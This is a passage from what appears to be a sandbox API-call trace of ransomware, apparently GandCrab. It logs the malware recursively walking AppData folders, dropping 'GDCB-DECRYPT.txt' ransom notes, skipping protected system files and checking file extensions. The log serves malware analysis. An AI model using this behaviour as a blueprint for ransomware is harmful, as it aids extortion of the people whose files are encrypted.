lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.494] lstrcmpW (lpString1="Word", lpString2=".") returned 1 [0135.494] lstrcmpW (lpString1="Word", lpString2="..") returned 1 [0135.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Word" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word" [0135.494] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word") returned 52 [0135.494] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0 [0135.494] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.494] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.494] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\\\GDCB-DECRYPT.txt") returned 65 [0135.494] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.495] GetLastError () returned 0x50 [0135.495] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.495] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned 48 [0135.495] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*" [0135.495] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0x2c7a80 [0135.495] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.495] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.495] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.495] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.495] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.495] lstrcmpW (lpString1="AddIns", lpString2=".") returned 1 [0135.495] lstrcmpW (lpString1="AddIns", lpString2="..") returned 1 [0135.495] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="AddIns" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns" [0135.495] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\" [0135.495] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.496] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.496] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\") returned 55 [0135.496] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*" [0135.496] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7980 [0135.496] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.496] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.496] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.496] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.496] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.496] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.496] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.496] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt" [0135.496] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt") returned 71 [0135.496] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.496] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.496] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.496] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.497] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\\\GDCB-DECRYPT.txt") returned 72 [0135.497] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\addins\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.497] GetLastError () returned 0x50 [0135.497] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.497] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\") returned 55 [0135.497] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*" [0135.497] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7640 [0135.497] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.497] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.497] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.497] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.497] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.497] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.497] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.497] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt" [0135.497] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.497] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt") returned 71 [0135.497] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt") returned 71 [0135.497] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt") returned 71 [0135.498] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns\\GDCB-DECRYPT.txt") returned 71 [0135.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.498] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.498] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.498] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.498] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.498] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.498] lstrcmpW (lpString1="Bibliography", lpString2=".") returned 1 [0135.498] lstrcmpW (lpString1="Bibliography", lpString2="..") returned 1 [0135.498] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Bibliography" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" [0135.498] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\" [0135.498] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.498] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.498] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\") returned 61 [0135.498] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*" [0135.498] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.499] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.499] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.499] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.499] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.499] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.499] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.499] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.499] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt" [0135.499] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt") returned 77 [0135.499] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.499] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.499] lstrcmpW (lpString1="Style", lpString2=".") returned 1 [0135.499] lstrcmpW (lpString1="Style", lpString2="..") returned 1 [0135.499] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0135.499] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 66 [0135.499] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.499] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.499] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.499] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\\\GDCB-DECRYPT.txt") returned 78 [0135.499] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.500] GetLastError () returned 0x50 [0135.500] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.500] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\") returned 61 [0135.500] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*" [0135.500] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7900 [0135.500] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.500] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.500] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.500] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.500] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.500] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.500] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.500] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt" [0135.500] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.500] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt") returned 77 [0135.500] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt") returned 77 [0135.500] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt") returned 77 [0135.500] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\GDCB-DECRYPT.txt") returned 77 [0135.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.500] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.500] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.501] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.501] lstrcmpW (lpString1="Style", lpString2=".") returned 1 [0135.501] lstrcmpW (lpString1="Style", lpString2="..") returned 1 [0135.501] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0135.501] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0135.501] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.501] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.501] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned 67 [0135.501] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*" [0135.501] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7640 [0135.503] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.503] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.503] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.503] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.503] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.503] lstrcmpW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2=".") returned 1 [0135.503] lstrcmpW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="..") returned 1 [0135.503] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="APASixthEditionOfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" [0135.503] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned 98 [0135.503] lstrcmpW (lpString1=".xsl", lpString2=".sql") returned 1 [0135.503] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.503] lstrcmpW (lpString1="CHICAGO.XSL", lpString2=".") returned 1 [0135.503] lstrcmpW (lpString1="CHICAGO.XSL", lpString2="..") returned 1 [0135.503] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="CHICAGO.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" [0135.503] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned 78 [0135.503] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0135.503] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.503] lstrcmpW (lpString1="GB.XSL", lpString2=".") returned 1 [0135.503] lstrcmpW (lpString1="GB.XSL", lpString2="..") returned 1 [0135.503] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GB.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" [0135.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned 73 [0135.504] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0135.504] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.504] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.504] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt" [0135.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt") returned 83 [0135.504] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.504] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.504] lstrcmpW (lpString1="GostName.XSL", lpString2=".") returned 1 [0135.504] lstrcmpW (lpString1="GostName.XSL", lpString2="..") returned 1 [0135.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GostName.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" [0135.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned 79 [0135.504] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0135.504] FindNextFileW 